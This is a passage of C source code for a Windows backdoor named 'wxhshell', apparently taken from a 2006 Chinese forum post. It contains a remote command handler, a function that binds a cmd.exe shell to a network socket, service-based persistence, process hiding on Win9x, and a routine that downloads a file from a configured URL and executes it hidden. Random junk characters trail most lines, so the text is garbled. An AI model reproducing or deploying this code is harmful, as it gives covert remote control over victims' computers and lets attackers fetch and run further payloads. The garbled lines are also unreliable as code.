  case '?': { C6XZZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Z~& XL=  
    break; U6pG  
  } lR9~LNK?  
  // 安装 e uF@SS  
  case 'i': { Z3)l5JG)  
    if(Install()) cS'|c06  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m R3km1T  
    else 2 P=c1;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `oxs;;P  
    break; 6S~l gH:  
    } oA _,jsD4  
  // 卸载 $ +`   
  case 'r': { ;LBq!  
    if(Uninstall()) m),3J4(q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `qjiC>9  
    else .!\NM&E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vko1{$}t  
    break; d +]Gw  
    } wuv2bd )+  
  // 显示 wxhshell 所在路径 !1:364  
  case 'p': { bOi`JJ^   
    char svExeFile[MAX_PATH]; s5s'$|h"  
    strcpy(svExeFile,"\n\r"); Felu`@b  
      strcat(svExeFile,ExeFile); \s.c.c*eh;  
        send(wsh,svExeFile,strlen(svExeFile),0); =]OG5b_-Y  
    break; 2xchjU-  
    } i_? S#L]h  
  // 重启 B/(]AWi+  
  case 'b': { pN[G?A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )1KlcF  
    if(Boot(REBOOT)) LM*#DLadk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fNVNx~E  
    else { FM c9oyU~  
    closesocket(wsh); X0=#e54  
    ExitThread(0); 9` /\|t|V  
    } BwN65_5p  
    break; A 'Q nL  
    } p&nIUx"  
  // 关机 lbw*T  
  case 'd': { o;+J3\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >f [Lb|t  
    if(Boot(SHUTDOWN)) Zhl}X!:c?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,= ;d<O8  
    else { je^!W?U4<  
    closesocket(wsh); AXV+8$ :R  
    ExitThread(0); tN' -4<+  
    } DK/xHIv8-  
    break; 7b,5*]oZ  
    } k!gft'iU  
  // 获取shell `TM[7'  
  case 's': { 6.z8!4fpl  
    CmdShell(wsh); `ySmzp  
    closesocket(wsh); 4s?x 8oAy  
    ExitThread(0); dMAd-q5{  
    break; D8otU DB{  
  } C3Mr)  
  // 退出 #tyHjk  
  case 'x': { (UDR=7w)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VU1 ;ZJ E  
    CloseIt(wsh); U*G9fpVy  
    break; 2k,!P6fgl  
    } 6e1/h@p\7  
  // 离开 ?@"B:#l  
  case 'q': { 3YyB0BMW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C wKo'PAJ  
    closesocket(wsh); /n= %#{  
    WSACleanup(); -G<$wh9~3  
    exit(1); F&r+"O)^-R  
    break; q' };.tv  
        } &8R%W"<K  
  } $gsn@P>"  
  } rs$sAa*f  
ipB*]B F[  
  // 提示信息 w(kN0HD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _w+ix9Fr?  
} eW$G1h:  
  } U[\aj;g)  
KsM2?aqwf_  
  return; }-H<wQ&x  
} .aWEXJ  
@q9uU9c  
// shell模块句柄 \/C-e  
int CmdShell(SOCKET sock) |t^7L )&y  
{ ag*RQ  
STARTUPINFO si; m|<j9.iJ  
ZeroMemory(&si,sizeof(si)); Yr@)W~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =T$-idx1l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zR2'xE*  
PROCESS_INFORMATION ProcessInfo; mA:NAV $!s  
char cmdline[]="cmd"; tp2CMJc{L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8M m,a  
  return 0; "WOY`su>  
} ~g$Pb[V  
;L.@4b[lP  
// 自身启动模式 1_ uq46  
int StartFromService(void) 'ypJGm  
{ :(EU\yCzK  
typedef struct yu~~"Rq)  
{ ,mH2S/<}S  
  DWORD ExitStatus; ^y"Rdv  
  DWORD PebBaseAddress; k WYjqv  
  DWORD AffinityMask; 1,fjdd8OM;  
  DWORD BasePriority; /X)fWO S6  
  ULONG UniqueProcessId; IpQ51  
  ULONG InheritedFromUniqueProcessId; uUb[Dqn  
}   PROCESS_BASIC_INFORMATION; )`]w\s #  
3X,9K23T  
PROCNTQSIP NtQueryInformationProcess; I3o6ym-i  
'S<ebwRd=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O G#By6O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -?n|kSHX  
ZK4/o  
  HANDLE             hProcess; s<x2*yVUA  
  PROCESS_BASIC_INFORMATION pbi; <N^2|*3  
\:C@L&3[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hH8:7i  
  if(NULL == hInst ) return 0; niY9`8  
#kT3Sx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C#X|U2$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1{R 1:`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jLc4D'  
8E1swH5 z  
  if (!NtQueryInformationProcess) return 0; .x7d!t:(D  
Zuod1;qIh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lCg'K(|"  
  if(!hProcess) return 0; q?'*T?|  
[#V?]P\uV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fLl~a[(5  
I?@9;0R  
  CloseHandle(hProcess); k_.%(ZE  
GQO}E@W6C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ($&i\e31N  
if(hProcess==NULL) return 0; 7a 4G:  
^0ZabR'  
HMODULE hMod; FS30RP3 `/  
char procName[255]; + |MHiC  
unsigned long cbNeeded; b_@MoL@A!  
!\.x7N<)0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p7}x gUxX  
_!kL7qJ"  
  CloseHandle(hProcess); 'ek7e.x|V  
w=I8f}(  
if(strstr(procName,"services")) return 1; // 以服务启动 rI)op1K  
57^ X@ra$  
  return 0; // 注册表启动 j-@3jFu  
} _v:t$k#sN  
` WIv|S  
// 主模块 PJLSDIeN  
int StartWxhshell(LPSTR lpCmdLine) 3G|n`dj  
{ gH5E+J_$  
  SOCKET wsl; 21x?TZa  
BOOL val=TRUE; +G*2f V>  
  int port=0; XhjH68S(  
  struct sockaddr_in door; =B_vQJF2  
#-kG\}  
  if(wscfg.ws_autoins) Install(); 5]DgfwX  
'Y{fah  
port=atoi(lpCmdLine); <z+5+h|^  
^w'y>uFM  
if(port<=0) port=wscfg.ws_port; W3K?K-  
FjD`bhw-  
  WSADATA data; 5SKj% %B2,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;:NW  
CL oc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9q;n@q:29  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "HSAwe`5jU  
  door.sin_family = AF_INET; 8TIc;'bRM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '=}F}[d"kk  
  door.sin_port = htons(port); 2.6%?E]  
Y}BT| "  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -E_lwK  
closesocket(wsl); z/yNFY]i  
return 1; wd&Tf R4!  
} qELy'\  
+Zgh[a  
  if(listen(wsl,2) == INVALID_SOCKET) { 4sOo>.<x  
closesocket(wsl); jt5en;AA[  
return 1; R@_i$Df|  
} jA9&hbQuL  
  Wxhshell(wsl); J+ tpBPmb  
  WSACleanup(); CqGi 2<2  
cC@B\Q  
return 0; _Eo$V&  
H<bYm]a%  
} AB92R/  
";\na!MT  
// 以NT服务方式启动 ha_&U@w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oqeA15k$  
{ YmXh_bk  
DWORD   status = 0; !Wn^B|  
  DWORD   specificError = 0xfffffff; zi M~V'  
; C/:$l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I6!~(ND7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F2jZ3[P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G 92\` Q  
  serviceStatus.dwWin32ExitCode     = 0; V80BO#Pk  
  serviceStatus.dwServiceSpecificExitCode = 0; }',/~T6  
  serviceStatus.dwCheckPoint       = 0; X.^S@3[  
  serviceStatus.dwWaitHint       = 0; M@\A_x(Mas  
1yHlBeEC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3^NHV g  
  if (hServiceStatusHandle==0) return; 90ZMO7_  
XNODDH   
status = GetLastError(); X; [$yW9hE  
  if (status!=NO_ERROR) 'vbrzI5m  
{ ,T:Uk*Bj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tCZ3n  
    serviceStatus.dwCheckPoint       = 0; J0xV\O !e  
    serviceStatus.dwWaitHint       = 0; -qv*%O@  
    serviceStatus.dwWin32ExitCode     = status; &d1|B`gL|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1>5l(zK!9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <:(p nw*L  
    return; T["(wPrt  
  } ,mkXUW  
$Sz@u"ig%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9 GEMmo3  
  serviceStatus.dwCheckPoint       = 0; O{YT6&.S0  
  serviceStatus.dwWaitHint       = 0; W@"s~I6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E]T>m!6  
} e+`LtEve0  
.K I6<k/  
// 处理NT服务事件,比如:启动、停止 =rH' \7T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7sgK+ ip  
{  3W& f^*  
switch(fdwControl) d2cslD d  
{ v@_^h}h/,=  
case SERVICE_CONTROL_STOP: FBDRbJ su  
  serviceStatus.dwWin32ExitCode = 0; .X2fu/}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `;X~$uS  
  serviceStatus.dwCheckPoint   = 0; by*?PhfF  
  serviceStatus.dwWaitHint     = 0; 1W@ C]n4  
  { T;?=,'u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q oA?  
  } nw.,`M,N  
  return; WD`z\{hcom  
case SERVICE_CONTROL_PAUSE: q$#5>5&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NFYo@kX> G  
  break; $_ &Lp\  
case SERVICE_CONTROL_CONTINUE: ;_bZH%o.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; roiUVisq*  
  break; J #ukH`|-  
case SERVICE_CONTROL_INTERROGATE: |IN{8  
  break; ]H%S GQPn  
};  Rix|LKk{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (SH< ]@s  
} utH/E7^8  
ET2^1X#j  
// 标准应用程序主函数 hN#A3FFo L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f*(W%#*|  
{ t@_MWF  
&1Zq C;  
// 获取操作系统版本 ff{ L=uj  
OsIsNt=GetOsVer(); W UN|,P`b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;$il_xA)\>  
L lNd97Z  
  // 从命令行安装 0Z11V9Jk  
  if(strpbrk(lpCmdLine,"iI")) Install(); g`n5-D@3  
2oO&8:`tv  
  // 下载执行文件 vq?aFX9F  
if(wscfg.ws_downexe) { D#8uj=/%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6g6BE^o\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^8z~`he=_J  
} QDHTP|2e  
NKX,[o1  
if(!OsIsNt) { CogN1,GJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]cKxYX)J  
HideProc(); zJMm=Mw^  
StartWxhshell(lpCmdLine); "/#=8_f  
} -wdd'G  
else 79yF {  
  if(StartFromService()) >Q-"-X1  
  // 以服务方式启动 ge[hAI2I  
  StartServiceCtrlDispatcher(DispatchTable); H1fKe=$1  
else o<\u Hr3  
  // 普通方式启动 A,u}p rwH  
  StartWxhshell(lpCmdLine); ?l/$cO  
W }"n*  
return 0; >Ohh) $  
}
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只看该作者 1 发表于: 2006-10-10
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